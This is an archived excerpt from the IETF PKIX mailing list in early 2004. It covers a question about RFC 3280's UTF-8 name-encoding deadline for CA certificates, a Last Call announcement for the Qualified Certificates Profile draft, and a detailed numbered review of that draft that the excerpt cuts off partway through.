  AM<BR><B>To:</B> [e-mail]<BR><B>Subject:</B> UTF-8 encoding =
after=20
  December 31 2003<BR><BR></FONT></DIV>
  <DIV class=3DSection1>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">All,<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">I have a problem with the UTF-8 requirements =
in RFC=20
  3280 after December 31, and would appreciate guidance on =
interpretation of RFC=20
  3280 as well as other implementers view on =
this.<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">The situation:<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">Conforming CA:s must encode attributes of=20
  DirectotyString types as UTF-8 after <o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">December 31, =
2003.<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">Exceptions are stated in RFC 3280 (section=20
  4.1.2.4):<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">&nbsp;&nbsp; Exceptions to the December 31, =
2003 UTF8=20
  encoding requirements are as<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">&nbsp;&nbsp; =
follows:<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (a)&nbsp; CAs =
MAY issue=20
  "name rollover" certificates to support =
an<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; orderly =
migration to=20
  UTF8String encoding.&nbsp; Such certificates=20
would<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; include the =
CA's=20
  UTF8String encoded name as issuer and and the =
old<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;name encoding =
as=20
  subject, or vice-versa.<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (b)&nbsp; As =
stated in=20
  section 4.1.2.6, the subject field MUST =
be<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; populated =
with a=20
  non-empty distinguished name matching the<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; contents of =
the issuer=20
  field in all certificates issued by the<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;subject CA =
regardless=20
  of encoding.<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">My interpretation of this=20
  is:<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">a) only applies for self issued certificates =
with the=20
  same CA name as issuer and subject (but in different encodings). =
Introducing=20
  such name roll-over certificates extend the certificate chain and may =
be=20
  problematic since it may break both naming and path length constraints =

  expressed by chaining CAs.<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">b) seams to be a catch 22. You can populate =
the=20
  subject field with old encoding to match old encoded issuer names in=20
  descending certificates, but since no descending CA can populate the =
issuer=20
  field with old encoding it doesn&#8217;t really =
apply.<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">The issue:<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">There seems to be a problem with practical =
reality=20
  here in case the interpretation above is =
correct.<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">Question 1)<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">What if I have a Root CA valid to 2020 with =
subject=20
  and issuer name in old encoding?<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">Can that Root CA issue an intermediary CA =
certificate=20
  with the issuer field in old encoding, matching the subject field of =
the=20
  current root CA Certificate?<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">Question 2)<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">What if I have a CA with a current operating =
CA=20
  certificate that expires 2006. Can this CA issue certificates after =
December=20
  31, with the issuer name in old encoding, matching the encoding of the =
current=20
  CA certificate until it expires, or must this CA change its name and =
have its=20
  CA certificate renewed before December =
31?<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">If RFC 3280 prevents operating CAs to issue=20
  certificates with the issuer field matching the CA:s current =
certificate,=20
  until it expires, then we face a huge legacy problem. Especially since =
name=20
  matching for different encoding types are not=20
  required.<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">4.1.2.4 states<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">&#8220;(a)&nbsp; attribute values encoded in =
different types=20
  (e.g.,<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
PrintableString and=20
  BMPString) MAY be assumed to represent<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; different=20
  strings;&#8221;<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt">If my concerns are wrong and the issuing =
such=20
  certificates is allowed, then this needs to be=20
  clarified.<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoPlainText><FONT face=3D"Courier New" size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; FONT-FAMILY: =
Arial"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; FONT-FAMILY: =
Arial"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><STRONG><B><FONT face=3DArial color=3Dolive =
size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: olive; FONT-FAMILY: Arial">Stefan=20
  Santesson</SPAN></FONT></B></STRONG><o:p></o:p></P>
  <P class=3DMsoNormal><FONT face=3DArial color=3Dolive size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: olive; FONT-FAMILY: Arial">Program =
Manager,=20
  Windows Security</SPAN></FONT><o:p></o:p></P>
  <P class=3DMsoNormal><FONT face=3D"Times New Roman" size=3D3><SPAN=20
  style=3D"FONT-SIZE: =
12pt"><o:p>&nbsp;</o:p></SPAN></FONT></P></DIV></BLOCKQUOTE></BODY></HTML=
>

------=_NextPart_000_0108_01C3E408.549C0C10--



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0QHbmm6050829; Mon, 26 Jan 2004 09:37:48 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0QHbmKd050828; Mon, 26 Jan 2004 09:37:48 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from asgard.ietf.org (asgard.ietf.org [132.151.6.40]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0QHbki5050821 for <[e-mail]>; Mon, 26 Jan 2004 09:37:47 -0800 (PST) (envelope-from [e-mail])
Received: from apache by asgard.ietf.org with local (Exim 4.14) id 1AlAft-0006wM-AA; Mon, 26 Jan 2004 12:37:25 -0500
X-test-idtracker: no
To: IETF-Announce :;
From: The IESG <[e-mail]>
Subject: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified  Certificates Profile' to Proposed Standard 
Reply-to: [e-mail]
Message-Id: <[e-mail]>
Date: Mon, 26 Jan 2004 12:37:25 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

The IESG has received a request from the Public-Key Infrastructure (X.509) 
WG to consider the following document:

- 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile 

   <draft-ietf-pkix-sonof3039-04.txt> as a Proposed Standard

The IESG plans to make a decision in the next few weeks, and solicits
final comments on this action.  Please send any comments to the
[e-mail] or [e-mail] mailing lists by 2004-02-09.

The file can be obtained via
http://www.ietf.org/internet-drafts/draft-ietf-pkix-sonof3039-04.txt



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0QHarUa050782; Mon, 26 Jan 2004 09:36:53 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0QHar8J050781; Mon, 26 Jan 2004 09:36:53 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from woodstock.binhost.com (woodstock.binhost.com [144.202.240.3]) by above.proper.com (8.12.11/8.12.8) with SMTP id i0QHaqID050774 for <[e-mail]>; Mon, 26 Jan 2004 09:36:52 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 6306 invoked by uid 0); 26 Jan 2004 17:36:48 -0000
Received: from unknown (HELO Russ-Laptop.vigilsec.com) (141.156.179.104) by woodstock.binhost.com with SMTP; 26 Jan 2004 17:36:48 -0000
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9
Date: Mon, 26 Jan 2004 11:34:03 -0500
To: Denis Pinkas <[e-mail]>, Stefan Santesson <[e-mail]>, Tim Polk <[e-mail]>, Magnus Nystrom <[e-mail]>
From: Russ Housley <[e-mail]>
Subject: Re: I-D ACTION:draft-ietf-pkix-sonof3039-03.txt
Cc: [e-mail]
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Denis:

I have just requested IETF Last Call on this document.  I will treat these 
comments as the first Last Call comments.

Russ

At 10:05 AM 1/26/2004 +0100, Denis Pinkas wrote:

>Stefan, Magnus and Tim,
>
>Please find 38 comments on <draft-ietf-pkix-sonof3039-03.txt>
>
>1. The text states:
>
>    "The profile defines specific conventions for certificates that are
>    qualified within a defined legal framework, named Qualified
>    Certificates."
>
>It is unclear what the topic of this document is about. This sentence does 
>not explain. To illustrate the concern if we had the following sentence, 
>it would be the same problem :
>
>   "The profile defines specific conventions for certificates that are
>    certified within a defined legal framework, named Certified
>    Certificates."
>
>What means qualified ? What would mean certified ?
>
>Since the definition of a legal framework is outside the scope, it could 
>be any kind of certificate as long as it is issued for a natural person, 
>which is the only restriction advertised. Then why is it under a "legal 
>framework" ? It would be appropriate under any kind of certificate policy. 
>The text should not place any emphasis on a "legal framework".
>
>This document simply defines a profile of a certificate for natural persons.
>
>The technical content of this document should be clearly advertised. 
>Hereafter is a proposal, intended to be a full replacement of the second 
>paragraph :
>
>    "This document provides a profile for two fields: issuer and
>    subject and for three certificate extensions: subject alternate
>    name, subject directory attributes, and key usage. It also defines
>    two extensions: biometric information and qualified certificate
>    statements".
>
>
>2. The use of the wording "Qualified Certificate" is unfortunate since it 
>creates a confusion with the same wording used in the European Directive 
>on Electronic Signatures.
>
>If the wording "qualified certificate" needs to be kept, a warning should 
>be given in the abstract. In order to avoid readers to misunderstand what 
>is a qualified certificate in the context of this document, the following 
>sentence should be added:
>
>"It should be noticed that the meaning of "Qualified Certificate" as used 
>in this document is different from the same wording used in the European 
>Directive on Electronic Signatures."
>
>The European Directive on Electronic Signatures should be referenced in 
>the informative reference section.
>
>
>3. In section 1, 6 th paragraph, the text states:
>
>    "It should be noted that this specification does not define the
>    specific semantics of Qualified Certificates, and does not define the
>    policies that should be used with them.  That is, this document
>    defines what information should go into Qualified Certificates, but
>    not what that information means.  A system that uses Qualified
>    Certificates must define its own semantics for the information in
>    Qualified Certificates.  It is expected that laws and corporate
>    policies will make these definitions."
>
>This is not true. The only semantics which is undefined is the semantics 
>of specific Qualified Certificate Statements. Please delete.
>
>
>4. The text states:
>
>"This specification differs from RFC 3039 in the following basic areas:
>
>       * Some editorial clarifications has been made to introductory
>       sections to clarify that this profile is generally applicable to a
>       broad type of certificates even if its prime purpose is to
>       facilitate issuance of Qualified Certificates."
>
>The abstract states :
>
>" The profile is however not limited to Qualified Certificates and
>   further profiling may facilitate specific local needs."
>
>Since a Qualified Certificate is a profile limited to natural person, it 
>is unclear to understand what this sentence means. Please delete.
>
>
>5. The text states:
>
>       * To better facilitate broad applicability of this profile some
>       constraints on key usage settings in the key usage extension has
>       been removed.
>
>This "constraints" were a recommendation that is still true and is 
>currently proposed to be included to answer to a "defect report" raised on 
>key usage on X.509 / IS0 9594-8. It is likely that this constraint will be 
>accepted. This explanation should be removed and the recommendation that 
>is present in RFC 3039 should remain.
>
>
>6. The text states:
>
>       * A new qc-Statement reflecting this second version of the profile
>       has been defined in Section 3.2.5.1
>
>What about backwards compatibility ?
>Has anybody used the predefined qcStatement-1 ? Until we got a confirmed 
>no response, it is not possible to suppress the document (i.e. RFC 3039) 
>which tells what it means. Otherwise, implementations based on RFC3039 
>will suddenly become invalid. If nobody has ever implemented the 
>predefined qcStatement-1, then there would be no reason to support it in 
>3039bis.
>
>
>7. The text states in section 2 , Requirements and Assumptions.
>
>    "The term "Qualified Certificate" has been used by the European
>    Commission to describe a certain type of certificates with specific
>    relevance for European legislation.  This specification is intended
>    to support this class of certificates, but its scope is not limited
>    to this application.
>
>    Within this standard the term "Qualified Certificate" is used
>    generally, describing a certificate whose primary purpose is to
>    identify a person with high level of assurance, where the certificate
>    meet some qualification requirements defined by an applicable legal
>    framework. The actual mechanisms that decide whether a certificate
>    should or should not be considered to be a "Qualified Certificate" in
>    regard to any legislation are outside the scope of this standard."
>
>Full text proposal replacement:
>
>    "The term "Qualified Certificate" is used by the European Directive
>    on Electronic Signature to refer to specific type of certificate.
>    The same term is used in this document with a different meaning,
>    i.e. to define a profile of a certificate issued to natural persons,
>    and which imposes constraints on the structure of the name of the
>    subject and of the issuer."
>
>
>8. The text states in section 2 , Requirements and Assumptions.
>
>    "Harmonization in the field of identity certificates issued to natural
>    persons, in particular Qualified Certificates, is essential within
>    several aspects that fall outside the scope of RFC 3280."
>
>This sentence is using the term "identity certificate" instead of 
>"Qualified certificate". This is in fact much better and it is unfortunate 
>to use the term "Qualified Certificate" everywhere within this document 
>instead of "Identity certificate". This sentence should be deleted, since 
>it is difficult to argue that harmonisation is essential without providing 
>any reason.
>
>
>9. The text states in section 2 , Requirements and Assumptions.
>
>"The most important aspects that affect the scope of this specification
>are:
>
>    -  Definition of names and identity information in order to identify
>       the associated subject in a uniform way."
>
>What is the difference between a "name" and an "identity information" ?
>Can a name identify a subject ? Not always.
>
>Proposed rewording:
>
>The most important aspects that affect the scope of this specification
>are:
>
>    -  Definition of attributes of the subject DN in order to name
>       the associated subject in a uniform way."
>
>
>10. The text states in section 2 , Requirements and Assumptions.
>
>"The most important aspects that affect the scope of this specification
>are:
>
>    -  Definition of information which identifies the CA and the
>       jurisdiction under which the CA operates when issuing a particular
>       certificate.
>
>Qualified certificates (as meant by this document) are supposed to be 
>applicable for a "defined legal framework". What is the relationship with 
>the "jurisdiction under which the CA operates" ?
>
>Qualified certificates (as meant by the EU Directive) identify the country 
>where the CA operates. While this has a well defined meaning, it seems 
>rather difficult to give a meaning to this statement outside the EU Directive.
>
>Proposed rewording:
>
>"The most important aspects that affect the scope of this specification
>are:
>
>    -  Definition of information which identifies the country where
>       the CA operates when issuing a certificate."
>
>
>11. The text states in section 2 , Requirements and Assumptions.
>
>"The most important aspects that affect the scope of this specification
>are:
>
>    -  Definition of a standardized way to store predefined statements
>       with relevance for Qualified Certificates."
>
>Delete: "with relevance for Qualified Certificates".
>
>
>12. The text states in section 2.1 Properties:
>
>    "This profile accommodates profiling needs for Qualified Certificates
>    based on the assumptions that:
>
>    -  Qualified Certificates are issued by a CA that makes a public
>       statement that the certificate serves the purpose of a Qualified
>       Certificate, as discussed in Section 2.2."
>
>It is quite strange to mandate to make a public statement here.
>Do we require a public statement when RFC 3280 compliant certificates
>are issued ? To which of the sections would it mean compliance ?
>
>Delete this item.
>
>
>13. The text states in section 2.1 Properties:
>
>    -  The Qualified Certificate indicates a certificate policy
>       consistent with liabilities, practices and procedures undertaken
>       by the CA, as discussed in Section 2.3."
>
>There is no precise definition of such a certificate policy and precise 
>definitions are outside the scope of the PKIX WG.
>
>Delete this item.
>
>
>14. The text states in section 2.1 Properties:
>
>    -  The Qualified Certificate contains an identity based on a
>       pseudonym or a real name of the subject.
>
>No identity is ever contained in a certificate.
>
>Proposed rewording:
>
>    -  The Qualified Certificate contains a name which may be either
>       based on the real name of the subject or a pseudonym."
>
>
>15. The text states in section 2.2  Statement of Purpose
>
>    "This profile defines two complementary ways to include this
>    information:
>
>    -  As information defined by a certificate policy included in the
>       certificate policies extension, and
>
>    -  As a statement included in the Qualified Certificates Statements
>       extension."
>
>As far as "EU Qualified Certificates" are concerned, the ways are not 
>"complementary", but "alternative".
>
>Since no CP OID is being defined in the document to indicate this 
>"property" (which is quite vague), this cannot be supported.
>
>Since no statement is being defined in the document to indicate this 
>"property" (which is quite vague), this cannot be supported.
>
>Please delete the whole section 2.2.
>
>
>16. The text states in section 2.3  Policy Issues
>
>    "Certain policy aspects define the context in which this profile is to
>    be understood and used.  It is however outside the scope of this
>    profile to specify any policies or legal aspects that will govern
>    services that issue or utilize certificates according to this
>    profile."
>
>Is it necessary to say that some other documents (please keep away "policy 
>aspects") whatever they are may use this document ? Isn't it the primary 
>goal of any standard ?
>
>Please delete this paragraph.
>
>
>17. The text states in section 2.3  Policy Issues:
>
>    "It is however an underlying assumption in this profile that a
>    responsible issuing CA will undertake to follow a publicly available
>    certificate policy that is consistent with its liabilities, practices
>    and procedures."
>
>This assumption is not valid. Nothing will force a CA to adopt a publicly 
>available policy. Please delete this paragraph.
>
>
>18. The text states in section 2.4  Uniqueness of names
>
>    " An
>    object can be assigned a distinguished name without being represented
>    by an entry in the Directory, but this name is then the name its
>    object entry could have had if it were represented in the Directory.
>    In the context of qualified certificates, a distinguished name
>    denotes a set of attribute values [X.501] which forms a name that is
>    unambiguous within a certain domain that forms either a real or a
>    virtual DIT (Directory Information Tree)[X.501].  In the case of
>    subject names the domain is assumed to be at least the issuing domain
>    of the CA.
>
>These sentences do not help to understand the issue of uniqueness of 
>names. The fact that there is a real DIT or not is irrelevant. The notion 
>of "a certain domain" and "at least the issuing domain" is hazardous. 
>Please delete these sentences and keep the last sentence which is correct:
>
>    "The distinguished name MUST be unique for each subject
>    entity certified by the one CA as defined by the issuer name field,
>    during the whole life time of the CA."
>
>
>19. The text states in section 3.1.1  Issuer
>
>    "The identity of the issuer SHALL be specified using an appropriate
>    subset of the following attributes:"
>
>Please change "identity" by "DN".
>
>
>20. The text states in section 3.1.1 Issuer :
>
>"Attributes present in the issuer field SHOULD be consistent with the laws 
>under which the issuer operates."
>
>We do not reference laws in other documents, but Certificate Policies 
>instead. Please refer to Certificate policies, and replace with:
>
>"Attributes present in the issuer field SHOULD be consistent with the 
>certificate policy of the certificate."
>
>
>21. The text states in section 3.1.1 Issuer :
>
>    "A relying party MAY have to consult associated certificate policies
>    and/or the issuer's CPS, in order to determine the semantics of name
>    fields and the laws under which the issuer operates."
>
>Please delete the end of the sentence, i.e. "and the laws under which the 
>issuer operates". There is no reason to refer to laws.
>
>
>22. The text states in section 3.1.2  Subject (page 8):
>
>"   Other attributes may be present but MUST NOT be necessary to
>    distinguish the subject name from other subject names within the
>    issuer domain."
>
>This sentence is wrong. The DN is uniquely global with all the attributes 
>present. Matching rules do not exclude some attributes. This sentence 
>could be interpreted as if a name matching rule could be constructed using 
>only these attributes and ignoring the additional ones. Please delete that 
>sentence.
>
>
>23. The text states in section 3.1.2  Subject (pages 8 and 9):
>
>       "The surname and givenName attribute types SHALL, if present,
>       contain the name of the subject, in accordance with the
>       laws under which the CA prepares the certificate. These
>       attributes SHALL be used in the subject field if the commonName
>       attribute is not present. In cases where the subject only has a
>       single name registered, the givenName attribute SHALL be used and
>       the surname attribute SHALL be omitted."
>
>What is the "registered name" of the subject ? Who is registering the name ?
>Which laws is it ? Is it the laws where the CA operates ? Do all countries 
>have a law to say what is a registered name ? Please to not refer to 
>"registered names" and national laws.
>
>       "The surname and givenName attribute types SHALL be used in the
>       subject field if the commonName attribute is not present. In
>       cases where the subject only has a givenName the surname attribute
>       SHALL be omitted."
>
>
>24. The text states in section 3.2  Certificate Extensions:
>
>    "This specification provides additional details regarding the contents
>    of five certificate extensions: Subject directory attributes,
>    Certificate policies, Key usage, Biometric information and Qualified
>    Certificate statements."
>
>This is not correct. It is not "details regarding the content of five 
>certificate extensions", but a profile for two basic fields, three 
>existing extensions and the definition of two new extensions.
>
>Change with:
>
>    "This specification provides profiles for two fields: issuer and
>    subject and for three certificate extensions: subject alternate
>    name, subject directory attributes, and key usage. It also defines
>    two extensions: biometric information and qualified certificate
>    statements."
>
>
>25. The text defines in section 3.2.1  Subject Directory Attributes. Why 
>is there no specification at all for the Subject Alternative Name ?
>
>There should be a section saying that Internet electronic mail addresses 
>SHALL be placed there, if e-mail addresses need to be present.
>
>
>26. The text states in section 3.2.2 Certificate Policies:
>
>    "Information provided by the issuer stating the purpose of the
>    certificate as discussed in Section 2.2 SHOULD be evident through
>    indicated policies."
>
>It is not evident from an OID to know what the certificate policy is about.
>Since section 2.2 should be deleted, this sentence should be deleted as well.
>
>
>27. The text states in section 3.2.2 Certificate Policies:
>
>    "The certificate policies extension SHOULD include all policy
>    information needed for validation of the certificate."
>
>The Certificate Policies extensions defines everything that is needed. 
>There is nothing to be added here. Please delete that sentence.
>
>28. The text states in section 3.2.2 Certificate Policies:
>
>    "If policy information is included in the QCStatements extension
>    (see 3.2.5), then this information SHOULD also be defined by
>    indicated policies."
>
>QCStatements extension is still not described at this place when reading 
>the document in sequence. This sentence is not relevant and could even be 
>misleading: QCStatements is not a direct alternative to a certificate 
>policy. It may indicate a conformity with a document where some parts of 
>it may be translated into a certificate policy. Please delete that sentence.
>
>
>29. It is very questionable why there should be a section 3.2.2 at all. 
>There is no additional specific constraints beyond what already exists in 
>RFC 3280. Please delete the whole section 3.2.2.
>
>
>30. The text states in section 3.2.3  Key Usage:
>
>    "The key usage extension SHALL be present. Key usage settings SHALL be
>    set in accordance with RFC 3280 definitions. Further requirements on
>    key usage settings MAY be defined by local policy and/or local legal
>    requirements."
>
>The security consideration section states:
>
>    "Combining the nonRepudiation bit in the keyUsage certificate
>    extension with other keyUsage bits may have security implications and
>    this specification therefore recommends against such practices."
>
>This is quite true. However the main body of the document is lacking this 
>recommendation. The text that is currently in RFC 3039 should stay. It 
>should be adapted to avoid naming bit 1 as nonRepudiation since it is 
>likely that the name of that bit will be changed by ISO. So speaking of 
>bit 1 is neutral and will be valid whatever the final name will be.
>
>Please replace with:
>
>    The key usage extension SHALL be present.  If the key usage bit 1
>    is asserted then it SHOULD NOT be combined with any other key usage,
>    i.e., if set, it SHOULD be set exclusively (see the security
>    considerations section).
>
>
